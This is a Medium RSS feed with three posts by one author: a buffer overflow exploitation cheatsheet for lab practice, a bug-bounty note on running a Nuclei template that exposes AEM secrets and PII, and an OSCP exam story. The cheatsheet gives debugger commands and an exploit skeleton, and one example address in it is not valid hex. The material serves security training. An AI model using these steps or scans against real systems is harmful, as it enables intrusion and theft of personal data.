<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by SANDESH on Medium]]></title>
        <description><![CDATA[Stories by SANDESH on Medium]]></description>
        <link>https://medium.com/@booboohq?source=rss-3f7dcddc834c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dWHRvGMwHDrvdQkc1H-2Rg.jpeg</url>
            <title>Stories by SANDESH on Medium</title>
            <link>https://medium.com/@booboohq?source=rss-3f7dcddc834c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 14:34:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@booboohq/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Buffer Overflow Exploitation Cheatsheet]]></title>
            <link>https://booboohq.medium.com/buffer-overflow-exploitation-cheatsheet-3b84ca1d2296?source=rss-3f7dcddc834c------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b84ca1d2296</guid>
            <dc:creator><![CDATA[SANDESH]]></dc:creator>
            <pubDate>Wed, 07 Jun 2023 03:59:07 GMT</pubDate>
            <atom:updated>2025-04-01T17:03:07.411Z</atom:updated>
            <content:encoded><![CDATA[<p>&lt;&lt;</p><p>Check this BOF cheatsheet which condenses the entire blog into simple steps : <a href="https://github.com/themoonbaba/bufferoverflow_cheatsheet/blob/master/cheatsheet">https://github.com/themoonbaba/bufferoverflow_cheatsheet/blob/master/cheatsheet</a></p><p>try :: <a href="https://tryhackme.com/room/bufferoverflowprep">https://tryhackme.com/room/bufferoverflowprep</a></p><p>&gt;&gt;</p><p>A <strong>buffer overflow</strong> happens when a program tries to store more data in a temporary storage space (called a buffer) than it can hold. Think of it like pouring too much water into a small glass — it spills over! In cybersecurity, attackers use this “spill” to overwrite important parts of a program’s memory, like where it decides what to do next. This can let them run their own evil code, crash the program, or take control of the system.</p><p>We will cover essential concepts such as finding the pattern, identifying bad characters, locating the JMP ESP instruction, and crafting the final exploit.</p><p>Step 1: Finding the Pattern<br>The first step in any buffer overflow exploitation is to find the pattern that will help us identify the offset where the EIP (Extended Instruction Pointer) is overwritten. For this purpose, we can utilize the Metasploit Framework’s pattern_create and pattern_offset tools.</p><p>Using the following commands:<br>```<br>msf-pattern_create -l &lt;length_of_chars_to_test&gt;<br>msf-pattern_offset -q &lt;EIP_value&gt;<br>```<br>We generate a pattern of a specific length and then find the offset where the EIP value occurs. This offset will guide us in the subsequent steps.</p><p>Step 2: Identifying Bad Characters<br>Once we know the offset, we need to identify any bad characters that might corrupt our payload. Bad characters are specific characters that can cause issues during the exploitation process, such as null bytes or certain control characters.</p><p>There are two ways to identify bad characters: an automatic way and a manual way. Let’s start with the automatic approach, which is considered the safest method.</p><p>Automatic Way:<br>- Set up the working folder using the command `!mona config -set workingfolder C:\logs\%p`.<br>- Generate a byte array using the command `!mona bytearray`.<br>- Compare the byte array to the ESP value using the command `!mona compare -f C:\logs\app_folder\bytearray.bin -a 01B27464` (replace 01B27464 with the ESP value).<br>- Exclude bad characters from the byte array using the command `!mona bytearray -b “\x00\x01\x02”` (replace “\x00\x01\x02” with the bad characters).<br>- Compare the modified byte array to the ESP value again using the command `!mona compare -f C:\logs\app_folder\bytearray.bin -a 01337IIO` (replace 01337IIO with the ESP value).</p><p>Manual Way:<br>- Set up the working folder using the command `!mona config -set workingfolder C:\logs\%p`.<br>- Generate a byte array using the command `!mona bytearray`.<br>- Send the byte array as part of the payload to the application.<br>- Right-click on ESP in the debugger and select “Follow in Dump.”<br>- Compare the generated pattern with the dumped memory and note any missing characters.<br>- Exclude the missing characters from the payload and repeat the process until there are no more missing characters.</p><p>Step 3: Locating the JMP ESP Instruction<br>Now that we have identified the bad characters, we need to locate a suitable instruction to redirect the execution flow to our payload. The most common approach is to find a JMP ESP instruction or a CALL ESP instruction.</p><p>To find the JMP ESP instruction, follow these steps:<br>- Use the command `!mona modules` to list the loaded modules.<br>- Identify a module that has all values in the “SafeSEH” and “ASLR” columns set to “false.”<br>- Use the command `!mona find -s “\xff\xe4” -m app.dll` or `!mona find -s “\xff\xe4” -m app.exe` (replace app.dll or app.exe with the appropriate module) to find the JMP ESP instruction</p><p>.</p><p>In case there is no JMP ESP instruction available, you can search for a CALL ESP instruction by double-clicking on any DLL, using Ctrl + F to search for “jmp esp” or “call esp,” and noting the address.</p><p>Step 4: Crafting the Final Exploit<br>Now that we have the necessary information, we can craft the final exploit.</p><p>Example:</p><p>```python<br># Bad characters: \x00\x04\x11\x40\x61\x78\xa2<br># JMP ESP value: \x83\x66\x52\x56</p><p>buff = “A” * 300 + “\x56\x52\x66\x83” + “\x90” * 15 + payload</p><p># Save the exploit code<br>```</p><p>Replace the payload with the desired shellcode or payload specific to your target system. You can use tools like `msfvenom` to generate different types of payloads based on your requirements.</p><p>Check this BOF cheatsheet which condenses the entire blog into simple steps : <a href="https://github.com/themoonbaba/bufferoverflow_cheatsheet/blob/master/cheatsheet">https://github.com/themoonbaba/bufferoverflow_cheatsheet/blob/master/cheatsheet</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b84ca1d2296" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unveiling AEM Secrets]]></title>
            <link>https://booboohq.medium.com/unveiling-aem-secrets-my-journey-to-bug-bounty-success-7889f3f15bc0?source=rss-3f7dcddc834c------2</link>
            <guid isPermaLink="false">https://medium.com/p/7889f3f15bc0</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[SANDESH]]></dc:creator>
            <pubDate>Mon, 22 May 2023 15:40:52 GMT</pubDate>
            <atom:updated>2024-12-28T03:30:54.241Z</atom:updated>
            <content:encoded><![CDATA[<p>_________________ • 🏌🏻 _________________</p><p>no yapping , STRAIGHT to the point :</p><blockquote>my first collab contribution to Nuclei project . ( me : username was boobooHQ, other is a legend j3ssie)</blockquote><p>By leveraging this template, I was able to expose critical information, leading to substantial rewards and furthering my bug bounty journey.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JcjgClzwxQQWl2zdemwBLw.png" /></figure><p>Unearthing Valuable Secrets:</p><blockquote>The secrets that were uncovered included hashed passwords, internal email IDs, email inboxes, and other personally identifiable information (PII).</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wide0FgMV8tkCjyYijTWYA.png" /><figcaption>Usernames , Passwords and other PII</figcaption></figure><p>The AEM Secrets Template:</p><p>Template Link: <a href="https://github.com/themoonbaba/private_templates/blob/main/aem-secrets.yaml">https://github.com/themoonbaba/private_templates/blob/main/aem-secrets.yaml</a></p><p>Using the Template:</p><p>1. Prepare a target list: Create a text file (e.g., targets.txt) containing a list of potential AEM targets that you wish to investigate.</p><p>2. Run nuclei: Execute the following command in your preferred terminal:<br> ```<br> nuclei -l targets.txt -t ~/AEM-secrets.yaml<br> ```</p><p>— — 🎢 — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>May your bug bounty endeavors be fruitful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7889f3f15bc0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[the OSCP blog]]></title>
            <link>https://booboohq.medium.com/the-oscp-blog-76a91053f21f?source=rss-3f7dcddc834c------2</link>
            <guid isPermaLink="false">https://medium.com/p/76a91053f21f</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oscp-certification]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[SANDESH]]></dc:creator>
            <pubDate>Tue, 02 Feb 2021 07:00:11 GMT</pubDate>
            <atom:updated>2023-09-24T07:24:36.516Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSCP blog</h3><p>hi</p><p>I’m Sandesh, and I recently passed my OSCP exam. I’m thrilled about clearing this exam and would love to share my experiences with OSCP preparation and the exam itself.</p><p>About a year ago, I joined HackerU for a Cybersecurity Course. Coming from a tech background, I found it enjoyable, although it was challenging to absorb so much information in a short time.</p><p>After completing the course, I got “distracted” by bug bounty posts on LinkedIn shared by the cybersecurity community 😅. I started researching how to earn “$$$ bounties” and learned a lot during that time. However, I realized later that I could have done this in my free time instead of dedicating all my time to learning “how to get bounties.”</p><p>One of my friends from the course cleared the OSCP exam in October 2020, which motivated me to go for it. I sought guidance from my mentors ❤️, Swaroop, Yogi, and Azaz, on how to proceed with preparations. They provided valuable guidance and support. Swaroop, the head of HackerU in India, arranged online meetings with cybersecurity industry experts who shared their experiences and answered our queries about the OSCP exam. Yogi, my go-to person at HackerU, helped me clear my doubts and shared useful study resources. Swaroop and Azaz, being experienced professionals, provided guidance during the course’s challenges.</p><p>My time at HackerU was both productive and enjoyable. Swaroop gifted me a book he wrote, “Learning Penetration Testing” (available at <a href="https://www.amazon.in/Learning-Penetration-Testing-Swaroop-Yermalkar/dp/1785883259/">https://www.amazon.in/Learning-Penetration-Testing-Swaroop-Yermalkar/dp/1785883259/</a>), as a token of appreciation when I discovered a vulnerability in one of the VMs shared by a previous instructor :P.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V8jIMquQujSKKNOP6qKmvw.jpeg" /><figcaption>With Swaroop Sir !!</figcaption></figure><p>I also had a lot of fun with my amazing batchmates!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NwfsCozmR6pvMGJJeiiaWQ.jpeg" /><figcaption>Batch Mates!</figcaption></figure><p>FIRST ATTEMPT: I started my preparations by reading many blogs about OSCP prep and exam cracking. So, I took access to the labs and several weeks later, On December 28, 2020, I attempted the exam and solved 4 machines, achieving 65 marks but fell short of passing. Luckily, I wasn’t disappointed by the failure. The next day, I paid for the reattempt and scheduled my next exam for January end week. I was happy about the experience of my first attempt, as it helped me identify areas where I needed more preparation (🌠Windows Privilege Escalation).</p><p>SECOND ATTEMPT: On January 27, with a relaxed mindset, I started my exam and successfully solved all 5 machines. However, I couldn’t obtain a root shell on two 20-point machines. This time, I attempted for 80 marks.</p><p>I began with the BOF machine and put the other machines on auto-enumeration using the nmap_automator tool. Completing the BOF took me around 4–5 hours 😵 because I faced issues finding bad characters initially. I reverted the machine and got the bad characters correct this time. Afterward, I tackled a 10-point machine, which I completed in 1 hour.</p><p>Next, I attempted two 20-point machines and obtained user access on both but not root access. Just 2 hours before my exam ended, I started working on the 25-point machine and successfully gained both user and root access. I was thrilled that I attempted for 80 marks this time. After finishing the exam, I took some rest and prepared the report, submitting it the next day. While I expected to wait for a week to receive the results, I received them within 48 hours of submitting the report. I passed this time.</p><p>It is recommended to document and develop your own cheatsheet, which will help speed up things while solving boxes.</p><p>TY ❤</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=76a91053f21f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>